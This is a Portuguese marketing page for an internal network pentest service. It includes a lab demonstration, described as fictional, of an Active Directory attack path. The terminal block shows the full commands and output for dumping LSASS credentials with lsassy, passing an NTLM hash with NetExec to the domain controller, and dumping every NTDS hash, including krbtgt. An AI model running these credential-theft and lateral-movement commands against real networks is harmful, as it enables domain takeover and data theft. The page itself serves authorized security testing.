Ataque • Pentest em Infraestrutura

Pentest interno em redes corporativas para fechar caminhos de movimento lateral.

O atacante já está dentro — por um phishing, uma VPN exposta, uma credencial vazada. A pergunta que decide o seu risco não é se ele entra. É: até onde ele chega depois disso? Começamos de dentro, como um ransomware faria, e mostramos o caminho real até o controle total do domínio.

Solicitar proposta Ver na prática
Pentest em Infraestrutura

Avaliação prática de redes internas (Windows/AD, Linux, Wi‑Fi, VPN, servidores e serviços) com foco em impacto real e caminhos até dados sensíveis.

Os números

Por que a infraestrutura é o teste que mais dói quando falta

78%

dos ataques operados por humanos comprometem um controlador de domínio.

Microsoft, 2025
~29 min

é o tempo médio até o atacante começar a se mover lateralmente na rede.

CrowdStrike, 2025
US$ 5,56 mi

é o custo médio de uma violação de dados no setor financeiro.

IBM, 2025
Por que fazer

O Active Directory é o cofre. É por ele que o ransomware passa.

Quando um atacante — externo ou um insider — alcança o controle do domínio, ele controla cada máquina, cada base de dados e cada backup. É esse o instante que transforma um incidente isolado em uma parada de operação, um resgate ou um vazamento. O pentest interno encontra e prova esses caminhos antes que alguém os use — elevação de privilégio, movimento lateral, quebra de segmentação e persistência.

  • Priorização por risco e impacto no negócio.
  • Evidências reproduzíveis (comandos, PoCs, prints, trilhas).
  • Recomendações práticas e referências.
  • Reteste incluso para confirmar correções críticas.
Na prática

Na prática: como mapeamos e exploramos a infraestrutura

Caminho de ataque mapeado no BloodHound e explorado com NetExec, em ambiente de laboratório Active Directory (LAB.LOCAL). Contas, servidores e o grafo abaixo são fictícios, montados para ilustrar o método — nenhum dado de cliente aparece aqui.

BloodHound CE — lab.local
4 hops
MemberOf Kerberoast AdminTo HasSession MemberOf 👤 j.silva Domain User 👥 MARKETING 🔑 svc-backup Service Account hasSPN 🖥 FILE-SRV01 File Server 👤 adm-cardoso IT Admin 👑 DOMAIN ADMINS LAB.LOCAL
Nodes: 6 · Edges: 5 · Query time: 12ms Attack Path: 4 hops to Domain Admin

Vetor A — Kerberoasting + Lateral Movement: do estagiário ao Domain Admin

👤
j.silva Domain User
→ Kerberoast
🔑
svc-backup SPN cracked
→ Admin To
🖥
FILE-SRV01 File Server
→ Has Session
👤
adm-cardoso IT Admin
→ Member Of
👑
DOMAIN ADMINS Game Over
1
Kerberoasting: svc-backup tem SPN registrado. O hash do ticket é extraído e cracked offline. Senha fraca = acesso à conta de serviço.
2
Lateral Movement: svc-backup é admin local do FILE-SRV01. Na memória do servidor, há um token ativo do adm-cardoso (IT admin que fez manutenção).
3
Domain Admin: adm-cardoso é membro direto do grupo Domain Admins. Com suas credenciais, o atacante controla todo o domínio.

Vetor B — Pass-the-Hash: NetExec → Pwn3d!

Partindo do acesso ao svc-backup (obtido via Kerberoasting no Vetor A), o pentester extrai o hash NTLM do adm-cardoso direto da memória do FILE-SRV01 e autentica no Domain Controller com ele. A senha do adm-cardoso nunca precisou ser craqueada — o hash foi suficiente.

pentester@kali: ~/engagements/lab-local
# Etapa 1: extraindo hashes da memória do FILE-SRV01 (via svc-backup, que é admin local) $ lsassy -u 'svc-backup' -p 'Backup2024!' 10.10.1.20 [*] 10.10.1.20 - Authentication successful [*] 10.10.1.20 - Lsass dumped successfully [*] 10.10.1.20 - Parsing credentials... 10.10.1.20 LAB.LOCAL\adm-cardoso e19ccf75ee54e06b06a5907af13cef42 10.10.1.20 LAB.LOCAL\FILE-SRV01$ 2f8b9c1d7a3e4f5b6c8d9e0a1b2c3d4e [+] 2 credentials collected # Etapa 2: Pass-the-Hash — usando o NTLM do adm-cardoso direto contra o DC $ nxc smb 10.10.1.5 -u 'adm-cardoso' -H 'e19ccf75ee54e06b06a5907af13cef42' --shares SMB 10.10.1.5 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False) SMB 10.10.1.5 445 DC01 [+] lab.local\adm-cardoso:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!) SMB 10.10.1.5 445 DC01 [+] Enumerated shares SMB 10.10.1.5 445 DC01 Share Permissions Remark SMB 10.10.1.5 445 DC01 ----- ----------- ------ SMB 10.10.1.5 445 DC01 ADMIN$ READ,WRITE Remote Admin SMB 10.10.1.5 445 DC01 C$ READ,WRITE Default share SMB 10.10.1.5 445 DC01 IPC$ READ Remote IPC SMB 10.10.1.5 445 DC01 NETLOGON READ Logon server share SMB 10.10.1.5 445 DC01 SYSVOL READ Logon server share # Etapa 3: Game over — dump do NTDS com o hash (sem senha, sem crack) $ nxc smb 10.10.1.5 -u 'adm-cardoso' -H 'e19ccf75ee54e06b06a5907af13cef42' --ntds SMB 10.10.1.5 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) SMB 10.10.1.5 445 DC01 [+] lab.local\adm-cardoso:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!) SMB 10.10.1.5 445 DC01 [+] Dumping the NTDS, this could take a while... SMB 10.10.1.5 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1f4c82e6d5b3f7a8c9d0e1f2a3b4c5d::: SMB 10.10.1.5 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.10.1.5 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7e9c84d2f1a3e5b6d8c0a9f1e2d3c4b::: SMB 10.10.1.5 445 DC01 lab.local\j.silva:1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: SMB 10.10.1.5 445 DC01 lab.local\adm-cardoso:1104:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: SMB 10.10.1.5 445 DC01 lab.local\svc-backup:1105:aad3b435b51404eeaad3b435b51404ee:8c3b5a2d1e4f6a7b9c0d1e2f3a4b5c6d::: SMB 10.10.1.5 445 DC01 [+] Dumped 47 NTDS hashes to ~/.nxc/logs/DC01_10.10.1.5_ntds.txt $ _
1
lsassy: extrai hashes NTLM direto da memória (LSASS) do FILE-SRV01. O adm-cardoso tinha sessão aberta — seu hash ficou na memória.
2
Pass-the-Hash (-H): o nxc autentica no DC usando só o hash, sem precisar crackear a senha. O protocolo NTLM aceita o hash direto — (Pwn3d!)
3
NTDS dump: todos os hashes do domínio extraídos (47 contas), incluindo krbtgt (Golden Ticket). A senha do adm-cardoso nunca foi craqueada — o hash extraído da memória foi suficiente para comprometer todo o domínio.
Entregáveis

O que você recebe

  • Relatório executivo (resumo para gestão, impactos e riscos priorizados).
  • Relatório técnico com evidências, PoCs, comandos e passos de reprodução.
  • Mapa de superfície de ataque: visualização do sistema completo e de todas as vulnerabilidades identificadas.
  • Recomendações práticas com referências (NIST/OWASP/CWE/Hardening Guides).
  • Debrief técnico + executivo, com sessão de perguntas e respostas.
  • Reteste para confirmar as correções críticas.

Vamos pentestar sua infraestrutura?

Solicitar proposta